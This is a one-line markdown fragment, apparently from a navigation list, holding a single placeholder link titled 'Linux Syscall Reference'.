- [\*Linux Syscall Reference\*](#)